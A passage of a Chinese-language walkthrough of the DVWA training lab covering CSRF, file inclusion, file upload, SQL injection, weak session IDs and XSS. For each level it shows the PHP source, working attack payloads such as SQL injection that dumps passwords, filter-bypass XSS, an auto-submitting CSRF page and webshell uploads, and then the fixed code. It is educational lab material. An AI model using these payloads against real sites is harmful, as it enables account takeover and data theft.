$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

看到加入了Referer的验证,该验证必须要求用户的请求头中的Referer字段必须包含了服务器的名字

所以我们bp抓包获取一下Referer的信息
Referer: http://localhost/DVWA/vulnerabilities/csrf/

直接重新打开一个页面访问http://localhost/DVWA/vulnerabilities/csrf/?password_new=abc&password_conf=abc&Change=Change#
抓包,在请求头添加Referer:http://localhost/ahhaha,只要有localhost即可

放包,显示修改成功

High

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到,High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器都会返回一个随机的token,当浏览器向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

所以现在要想进行CSRF攻击就必须获取到用户的token,而要想获取到 token 就必须利用用户的 cookie 值去访问修改密码的页面,然后截取服务器返回的token值。然后再利用CSRF漏洞构造URL进行密码的修改。

我们尝试利用下面的代码去构造一个页面,诱使用户点击,当用户点击该链接的这一刻,该代码会偷偷的访问修改用户密码的页面,然后获取到服务器返回的 token ,然后再构造修改密码的表单,加上我们获取到服务器的token值,向服务器发送修改密码的请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<script type="text/javascript">
//获取用户的token,并设置为表单中的token,然后提交修改密码的表单
function attack()
{
document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
document.getElementById("transfer").submit();
}
</script>
</head>
<body onload="attack()">
<iframe src="http://127.0.0.1/dvwa/vulnerabilities/csrf/" id="hack" style="display:none;"> <!--在该网页内打开另一个网页-->
</iframe>
<form method="GET" id="transfer" action="http://127.0.0.1/dvwa/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="admin">
<input type="hidden" name="password_conf" value="admin">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body>
</html>

这一切看起来是那么的天衣无缝,无懈可击。可是,我们忘记了浏览器最重要的一个策略——同源策略。由于我们框架ifame要访问的链接是 http://127.0.0.1/dvwa/vulnerabilities/csrf ,这是漏洞网站服务器的链接。而我们的脚本执行的位置是我们自己搭的一个服务器,所以我们的攻击脚本是不可能跨域取到改密界面中的user_token。关于同源策略和跨域问题:浏览器同源策略和跨域的实现方法

由于这里跨域是不能实现的,所以我们之前的想法以失败告终了。

在这里,我们要想获取到用户的token,并提交修改密码的表单的话,就必须得把我们的攻击脚本注入到目标服务器中 。而要想注入到目标服务器,同时得发挥作用,获取用户的 token修改密码的话,就得和XSS漏洞一起结合实现了。

我们将如下代码通过存储型XSS插入到数据库中,这语句会弹出用户的token

1
<iframe src="../csrf/" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)></iframe>

impossible

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );

// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();

// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match or current password incorrect.</pre>";
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

在High的基础上,添加了修改密码前需要输入原来的密码,黑客不知道原来的密码,并且使用了PDO和预编译防止了SQL注入,这样就修复了CSRF漏洞

File Inclusion

Low

1
2
3
4
5
6
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

可以看到很简单的语句,没有进行任何的过滤和限制,所以我们直接包含根目录下的flag.txt
payload:../../../flag.txt

Medium

1
2
3
4
5
6
7
8
9
10
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

可以看到将../,..\,http://,https://转换为空

我们可以考虑使用伪协议读取,由于str_replace是很不安全的,可以使用双写绕过,除了本地包含,还可以直接包含远程的一句话,直接菜刀
payload:php://filter/read=convert.base64-encode/resource=hthttp://tp://localhost/flag.txt

High

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

?>

fnmatch()函数根据指定的模式来匹配文件名或字符串
也就是只匹配file1,file2,file3这一类的,或者$file是include.php

想到file,我们可以使用file协议来读取本地的文件

payload:?page=file:///F:/phpstudy_pro/WWW/flag.txt

实战的思路就是配合上传漏洞,将一句话木马上传之后,进行包含

impossible

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

?>

这里看到,除了它页面显示的文件和include.php,其他的都不能进行包含,使用了白名单过滤的方法,包含的文件名只能等于白名单中的文件,所以避免了文件包含漏洞的产生!

File Upload

Low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}

?>

没有进行任何过滤,直接上传一句话结束

Medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

?>

看到进行了判断,只能是uploaded_type规定的 并且文件大小 小于 100000
我们bp抓包,修改Content-Type: image/jpeg,上传成功,菜刀一下

High

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];

// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

?>

strrpos()查找 “php” 在字符串中最后一次出现的位置
getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息

可以看到这次用了strrpos来判断.最后出现的位置,也就意味.后必须为图片,还是用了getimagesize()来获取图片的相关信息,所以使用图片马,这里就用到了刚才说的文件包含漏洞
菜刀连接http://localhost/DVWA/vulnerabilities/fi/?page=file:///F:/phpstudy_pro/WWW/DVWA/hackable/uploads/1.jpg

impossible

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];

// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {

// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );

// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}

// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

imagecreatefromjpeg(filename)从给定的文件或url中创建一个新的图片

imagejpeg(image,filename,quality)从image图像中以 filename 文件名创建一个jpeg的图片,参数quality可选,0-100 (质量从小到大)

imagedestroy(image)销毁图像

可以看到,Impossible级别对上传的文件进行了重命名(为md5值,导致00截断无法绕过过滤规则),并且加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。

SQL Injection

low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

没有做任何的过滤和限制,直接注入
payload:1' or '1'='1

Medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];

$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

mysql_real_escape_string函数对特殊符号\x00,\n,\r,\,’,”,\x1a进行转义,且使用了单选列表的方式来获取信息,我们可以bp抓包
payload:id=1 or 1=1#&Submit=Submit

high

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

需要特别提到的是,High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。

使用了limit 1 限制了显示一行,但是我们可以通过#将其注释掉。由于手工注入的过程与Low级别基本一样
payload:1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users#

impossible

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 <?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$id = $_GET[ 'id' ];

// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();

// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

使用了PDO和预编译语句,还防止了CSRF

SQL Injection(Blind)

low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 <?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

bool盲注
payload1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #
时间盲注:
payload1' and if(length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7,sleep(5),1)明显延迟

剩下的写脚本就行
medium,high基本一致

impossible

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$id = $_GET[ 'id' ];

// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();

// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

PDO,预编译+session令牌

Weak Session IDs

当用户登录后,在服务器就会创建一个会话(session),叫做会话控制,接着访问页面的时候就不用登录,只需要携带

Sesion去访问。

sessionID作为特定用户访问站点所需要的唯一内容。如果能够计算或轻易猜到该sessionID,则攻击者将可以轻易获取访问权

限,无需录直接进入特定用户界面,进而进行其他操作。

用户访问服务器的时候,在服务器端会创建一个新的会话(Session),会话中会保存用户的状态和相关信息,用于标识用户。

服务器端维护所有在线用户的Session,此时的认证,只需要知道是哪个用户在浏览当前的页面即可。为了告诉服务器应该使

用哪一个Session,浏览器需要把当前用户持有的SessionID告知服务器。用户拿到session id就会加密后保存到 cookies 上,

之后只要cookies随着http请求发送服务器,服务器就知道你是谁了。SessionID一旦在生命周期内被窃取,就等同于账户失窃。

Session利用的实质 :

由于SessionID是用户登录之后才持有的唯一认证凭证,因此黑客不需要再攻击登陆过程(比如密码),就可以轻易获取访问权

限,无需登录密码直接进入特定用户界面, 进而查找其他漏洞如XSS、文件上传等等。

Session劫持 : 就是一种通过窃取用户SessionID,使用该SessionID登录进目标账户的攻击方法,此时攻击者实际上是使用

了目标账户的有效Session。如果SessionID是保存在Cookie中的,则这种攻击可以称为Cookie劫持。SessionID还可以保存

在URL中,作为一个请求的一个参数,但是这种方式的安全性难以经受考验。

low

1
2
3
4
5
6
7
8
9
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = sha1(mt_rand() . time() . "Impossible");
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?>

bp抓包重放,发现重放一次dvwaSession+1,清除浏览器缓存之后,再重放一次,发现依旧+1,绕过了密码验证

medium

1
2
3
4
5
6
7
8
9
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = time();
setcookie("dvwaSession", $cookie_value);
}
?>

发现这次dvwaSession是时间戳,通过设置时间戳,可知诱骗受害者在某个时间点基进行点击
构造时间戳就行

high

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id_high'])) {
$_SESSION['last_session_id_high'] = 0;
}
$_SESSION['last_session_id_high']++;
$cookie_value = md5($_SESSION['last_session_id_high']);
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}

?>

high级别使用了PHP setcookie()函数,来设置cookie:

1
2
3
4
5
6
7
8
9
setcookie(name,value,expire,path,domain,secure,httponly)
参数 描述
name 必需。规定cookie的名称。
value 必需。规定cookie的值。
expire 可选。规定cookie的有效期。
path 可选。规定cookie的服务器路径。
domain 可选。规定cookie的域名。
secure 可选。规定是否通过安全的HTTPS连接来传输cookie。
httponly 可选。规定是否Cookie仅可通过HTTP协议访问。

抓包发现,dvwaSesion值很像md5加密,使用md5解密,发现是对从零开始的整数进行加密;构造payload使用火狐提交。

impossible

1
2
3
4
5
6
7
8
9
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = sha1(mt_rand() . time() . "Impossible");
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?>

$cookie_value采用随机数+时间戳+固定字符串”Impossible”,再进行sha1运算,完全不能猜测到dvwaSession的值。

XSS DOM

low

1
2
3
4
5
<?php

# No protections, anything goes

?>

没有任何过滤和限制,只有个下拉列表,bp抓包
payload<script>alert(/xss/)</script>

medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];

# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}

?>

stripos查找 “php” 在字符串中第一次出现的位置
过滤了<script>标签

闭合</option></select>标签构造xss事件

payload:English>/option></select><img src=1 onerror=alert(/xss/)>

high

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}

?>

使用了switch语句进行限制
payloadEnglish#<script>alert(/xss/)</script>

impossible

1
2
3
4
5
<?php

# Don't need to do anything, protction handled on the client side

?>

我们查看源代码,发现这里对我们输入的参数并没有进行URL解码,所以我们输入的任何参数都是经过URL编码,然后直接赋值给option标签。所以,就不存在XSS漏洞了

XSS Reflected

low

1
2
3
4
5
6
7
8
9
10
11
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

payload<script>alert(1)</script>

medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

?>

过滤了<script>,str_replace很弱
payload<scr<script>ipt>alert(1)</script>,大小写混写也可以

high

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

?>

使用了正则且避免了双写,使用img标签或者iframe标签
payload<img src=1 onerror=alert(/xss/)><iframe onload=alert(/xss/)><object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>

impossible

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

PHP htmlspecialchars()函数

1
2
3
4
5
& (和号)成为 &amp;
" (双引号)成为 &quot;
' (单引号)成为 &apos;//生效需要加 ENT_QUOTES 参数
< (小于)成为 &lt;
> (大于)成为 &gt;

可以看到,Impossible Security Level的代码使用htmlspecialchars函数把预定义的字符:& " ' < >

转换为HTML实体,防止浏览器将其作为HTML元素。从而防治了反射型XSS利用和危害。

XSS Stored

low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = stripslashes( $message );
